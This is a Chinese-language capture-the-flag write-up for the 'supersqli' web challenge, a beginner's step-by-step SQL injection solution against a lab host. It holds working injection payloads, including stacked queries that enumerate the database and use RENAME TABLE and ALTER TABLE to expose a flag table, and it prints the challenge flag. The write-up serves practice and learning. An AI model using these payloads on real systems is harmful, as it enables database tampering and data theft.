攻防世界/强网杯 2019-supersqli
靶场地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1
参考链接
https://zhuanlan.zhihu.com/p/78989602
https://www.jianshu.com/p/e896bd3f5097
本以为简单的目录遍历就可以得到falg实际上是想多了,不过也确认这里是存在注入
http://220.249.52.133:38618/?inject=1' or '1'='1#
在试一下sqlmap
python2 sqlmap.py -u "http://220.249.52.133:38618/?inject=1" -v 3 --risk 3 -D supersqli --tables -test-skip=where
失败
order by一下
http://220.249.52.133:38618/?inject=1'order by 2--+
得出有两个参数
union联合查询一下
失败 (同时也发现了为什么sqlmap跑不出来了)select|update|drop|insert|where 等等被禁用了
借用上两篇教程了解到堆叠注入
暴库
http://220.249.52.133:38618/?inject=1';show databases;#
爆表
http://220.249.52.133:38618/?inject=1';show tables;#
查看字段
http://220.249.52.133:38618/?inject=1';show columns from `1919810931114514`;#
由于select有限制但是没有过滤 alert 和 rename,那么我们可以把表改个名字,再给列改个名字。
先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。
这样就可以让程序直接查询出 flag 了。
构造 payload 如下,然后访问,看到这个看来就执行到最后一个语句了。(改表名那里直接从 pma 拷了一个语句过来改- -)
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#collate
查看一下
/?inject=1' or '1'='1
flag{c168d583ed0d4d7196967b28cbd0b5e9}
新手上路,多多指教